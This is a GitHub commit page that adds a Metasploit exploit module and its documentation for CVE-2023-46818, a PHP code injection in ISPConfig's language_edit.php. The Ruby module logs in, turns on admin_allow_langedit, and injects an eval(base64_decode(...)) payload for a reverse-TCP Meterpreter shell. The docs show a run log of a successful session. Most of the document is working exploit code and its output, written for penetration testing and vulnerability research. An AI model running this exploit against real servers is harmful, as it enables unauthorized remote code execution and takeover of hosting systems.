Skip to content

Commit ffdfa07

Browse files
authored
Land #20354, adds module for ISPConfig code injection (CVE-2023-46818)
Add module for ISPConfig Code Injection (CVE-2023-46818)
2 parents 4626e8f + ef611d1 commit ffdfa07

File tree

2 files changed

+339
-0
lines changed

2 files changed

+339
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
## Vulnerable Application
2+
3+
ISPConfig before 3.2.11p1 is vulnerable to PHP code injection via the language file editor (language_edit.php) if the
4+
`admin_allow_langedit` option is enabled.
5+
An authenticated administrator can inject arbitrary PHP code, leading to remote code execution on the server.
6+
7+
- Vendor Advisory: https://www.ispconfig.org/
8+
- CVE: [CVE-2023-46818](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
9+
- PoC/Details: [https://github.com/SyFi/CVE-2023-46818](https://github.com/SyFi/CVE-2023-46818)
10+
- Exploit writeup: [https://karmainsecurity.com/KIS-2023-13](https://karmainsecurity.com/KIS-2023-13)
11+
12+
### Setup Example
13+
14+
1. Download and install ISPConfig (vulnerable version, e.g., 3.2.11 or earlier)
15+
2. Enable `admin_allow_langedit` in the ISPConfig configuration.
16+
3. Create an admin user for testing.
17+
18+
## Verification Steps
19+
20+
1. Start msfconsole
21+
2. Do: `use exploit/linux/http/ispconfig_lang_edit_php_code_injection`
22+
3. Set the `RHOSTS`, `USERNAME`, and `PASSWORD` options
23+
4. Set `TARGETURI` if ISPConfig is not at the web root
24+
5. Run the module
25+
6. You should get a Meterpreter or command shell session as the web server user.
26+
27+
## Options
28+
29+
### USERNAME
30+
The ISPConfig administrator username to authenticate with.
31+
32+
### PASSWORD
33+
The ISPConfig administrator password to authenticate with.
34+
35+
36+
## Scenarios
37+
38+
### ISPConfig 3.2.11 (or earlier), Ubuntu 20.04
39+
40+
```
41+
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > run verbose=true
42+
[*] Started reverse TCP handler on 192.168.168.128:4444
43+
[*] Running automatic check ("set AutoCheck false" to disable)
44+
[*] Checking if the target is ISPConfig...
45+
[*] Attempting login with username 'admin' and password 'RGT2WvpoALJXh8t'
46+
[+] Login successful!
47+
[+] ISPConfig version detected: ISPConfig Version: 3.2.10
48+
[+] The target appears to be vulnerable. Version: ISPConfig Version: 3.2.10
49+
[*] Attempting login with username 'admin' and password 'RGT2WvpoALJXh8t'
50+
[+] Login successful!
51+
[*] Checking if admin_allow_langedit is enabled...
52+
[+] Language editor is accessible - admin_allow_langedit appears to be enabled
53+
[*] Injecting PHP payload...
54+
[+] Extracted CSRF tokens: ID=language_ed..., KEY=86845285663...
55+
[*] Sending stage (40004 bytes) to 192.168.168.186
56+
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.186:58822) at 2025-07-07 11:51:12 +0200
57+
58+
59+
meterpreter >
60+
meterpreter > sysinfo
61+
Computer : server1
62+
OS : Linux server1 6.8.0-60-generic #63~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 22 19:00:15 UTC 2 x86_64
63+
Meterpreter : php/linux
64+
```
65+
66+
## Notes
67+
- The module requires valid ISPConfig admin credentials and the `admin_allow_langedit` option enabled.
68+
- The shell is removed after exploitation if `DELETE_SHELL` is true.
69+
- The exploit drops a PHP webshell and triggers the payload for Meterpreter or command shell access.
Lines changed: 270 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,270 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'ISPConfig language_edit.php PHP Code Injection',
17+
'Description' => %q{
18+
This module exploits a PHP code injection vulnerability in ISPConfig's
19+
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
20+
setting is enabled, allowing authenticated administrators to inject arbitrary
21+
PHP code through the language editor interface.
22+
23+
This module will automatically check if the required `admin_allow_langedit`
24+
permission is enabled, and attempt to enable it if it's disabled (requires
25+
admin credentials with system configuration access).
26+
27+
The exploit works by injecting a PHP payload into a language file, which
28+
is then executed when the file is accessed. The payload is base64 encoded
29+
and written using PHP's file_put_contents function.
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' => [
33+
'syfi', # Discovery and PoC
34+
'Egidio Romano'
35+
],
36+
'References' => [
37+
['CVE', '2023-46818'],
38+
['URL', 'https://github.com/SyFi/CVE-2023-46818'],
39+
['URL', 'https://karmainsecurity.com/KIS-2023-13'],
40+
['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
41+
],
42+
'Platform' => 'php',
43+
'Arch' => ARCH_PHP,
44+
'Targets' => [
45+
[
46+
'Automatic PHP',
47+
{
48+
'Platform' => 'php',
49+
'Arch' => ARCH_PHP
50+
}
51+
]
52+
],
53+
'Privileged' => false,
54+
'DisclosureDate' => '2023-10-24',
55+
'DefaultTarget' => 0,
56+
'DefaultOptions' => {
57+
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
58+
},
59+
'Notes' => {
60+
'Stability' => [CRASH_SAFE],
61+
'Reliability' => [REPEATABLE_SESSION],
62+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
63+
}
64+
)
65+
)
66+
67+
register_options([
68+
OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
69+
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
70+
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
71+
])
72+
end
73+
74+
def check
75+
print_status('Checking if the target is ISPConfig...')
76+
return CheckCode::Unknown('Failed to login') unless authenticate
77+
78+
# Always try to log in and parse version, since credentials are required
79+
# cookie_jar.clear (handled in exploit)
80+
# Try to access the dashboard or settings page
81+
settings_res = send_request_cgi({
82+
'method' => 'GET',
83+
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
84+
'keep_cookies' => true
85+
})
86+
if settings_res
87+
doc = settings_res.get_html_document
88+
# Try to find version in a span, div, or similar element
89+
version_element = doc.at('//p[@class="frmTextHead"]')
90+
if version_element
91+
version_text = version_element.text
92+
version = version_text.split(':')[1].gsub(' ', '')
93+
version = Rex::Version.new(version)
94+
if version < Rex::Version.new('3.2.11p1')
95+
print_good("ISPConfig version detected: #{version_text}")
96+
return CheckCode::Appears("Version: #{version_text}")
97+
end
98+
end
99+
end
100+
CheckCode::Safe
101+
end
102+
103+
def authenticate
104+
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
105+
res = send_request_cgi({
106+
'method' => 'POST',
107+
'uri' => normalize_uri(target_uri.path, 'login/'),
108+
'vars_post' => {
109+
'username' => datastore['USERNAME'],
110+
'password' => datastore['PASSWORD'],
111+
's_mod' => 'login'
112+
},
113+
'keep_cookies' => true
114+
})
115+
return false unless res
116+
117+
if res&.code == 302
118+
res = send_request_cgi({
119+
'method' => 'GET',
120+
'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
121+
})
122+
end
123+
body_downcase = res.body.downcase.freeze
124+
return false if body_downcase.include?('username or password wrong')
125+
126+
if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
127+
print_good('Login successful!')
128+
return true
129+
end
130+
print_warning('Login status unclear, attempting to continue...')
131+
true
132+
end
133+
134+
def check_langedit_permission
135+
print_status('Checking if admin_allow_langedit is enabled...')
136+
137+
# Try to access the language editor to see if it's accessible
138+
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
139+
res = send_request_cgi({
140+
'method' => 'GET',
141+
'uri' => edit_url,
142+
'keep_cookies' => true
143+
})
144+
145+
if res&.code == 200 && res.body.include?('language_edit')
146+
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
147+
return true
148+
elsif res&.code == 403
149+
print_warning('Language editor access denied - admin_allow_langedit may be disabled')
150+
return false
151+
else
152+
print_warning('Could not determine language editor accessibility')
153+
return false
154+
end
155+
end
156+
157+
def enable_langedit_permission
158+
print_status('Attempting to enable admin_allow_langedit...')
159+
160+
# Try to access the system settings page
161+
settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
162+
res = send_request_cgi({
163+
'method' => 'GET',
164+
'uri' => settings_url,
165+
'keep_cookies' => true
166+
})
167+
168+
unless res && res.code == 200
169+
print_warning('Could not access system configuration page')
170+
return false
171+
end
172+
173+
doc = res.get_html_document
174+
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
175+
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
176+
177+
unless csrf_id && csrf_key
178+
print_warning('Could not extract CSRF tokens from system config page')
179+
return false
180+
end
181+
182+
# Try to enable the setting
183+
enable_data = {
184+
'_csrf_id' => csrf_id,
185+
'_csrf_key' => csrf_key,
186+
'admin_allow_langedit' => '1',
187+
'action' => 'save'
188+
}
189+
190+
res = send_request_cgi({
191+
'method' => 'POST',
192+
'uri' => settings_url,
193+
'vars_post' => enable_data,
194+
'keep_cookies' => true
195+
})
196+
197+
if res&.code == 200
198+
print_good('Successfully enabled admin_allow_langedit')
199+
return true
200+
else
201+
print_warning('Failed to enable admin_allow_langedit')
202+
return false
203+
end
204+
end
205+
206+
def inject_payload
207+
print_status('Injecting PHP payload...')
208+
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
209+
b64_payload = Base64.strict_encode64(payload.encoded)
210+
injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
211+
lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
212+
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
213+
initial_data = {
214+
'lang' => 'en',
215+
'module' => 'help',
216+
'lang_file' => lang_file
217+
}
218+
res = send_request_cgi({
219+
'method' => 'POST',
220+
'uri' => edit_url,
221+
'vars_post' => initial_data,
222+
'keep_cookies' => true
223+
})
224+
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
225+
doc = res.get_html_document
226+
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
227+
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
228+
unless csrf_id && csrf_key
229+
fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
230+
end
231+
print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
232+
injection_data = {
233+
'lang' => 'en',
234+
'module' => 'help',
235+
'lang_file' => lang_file,
236+
'_csrf_id' => csrf_id,
237+
'_csrf_key' => csrf_key,
238+
'records[\]' => injection
239+
}
240+
send_request_cgi({
241+
'method' => 'POST',
242+
'uri' => edit_url,
243+
'vars_post' => injection_data,
244+
'keep_cookies' => true
245+
})
246+
end
247+
248+
def exploit
249+
cookie_jar.clear
250+
fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate
251+
252+
# Check if language editor permissions are enabled
253+
unless check_langedit_permission
254+
print_warning('admin_allow_langedit appears to be disabled')
255+
print_status('Attempting to enable admin_allow_langedit...')
256+
257+
if enable_langedit_permission
258+
print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
259+
# Re-check permissions after enabling
260+
unless check_langedit_permission
261+
fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
262+
end
263+
else
264+
fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
265+
end
266+
end
267+
268+
inject_payload
269+
end
270+
end

0 commit comments

Comments
 (0)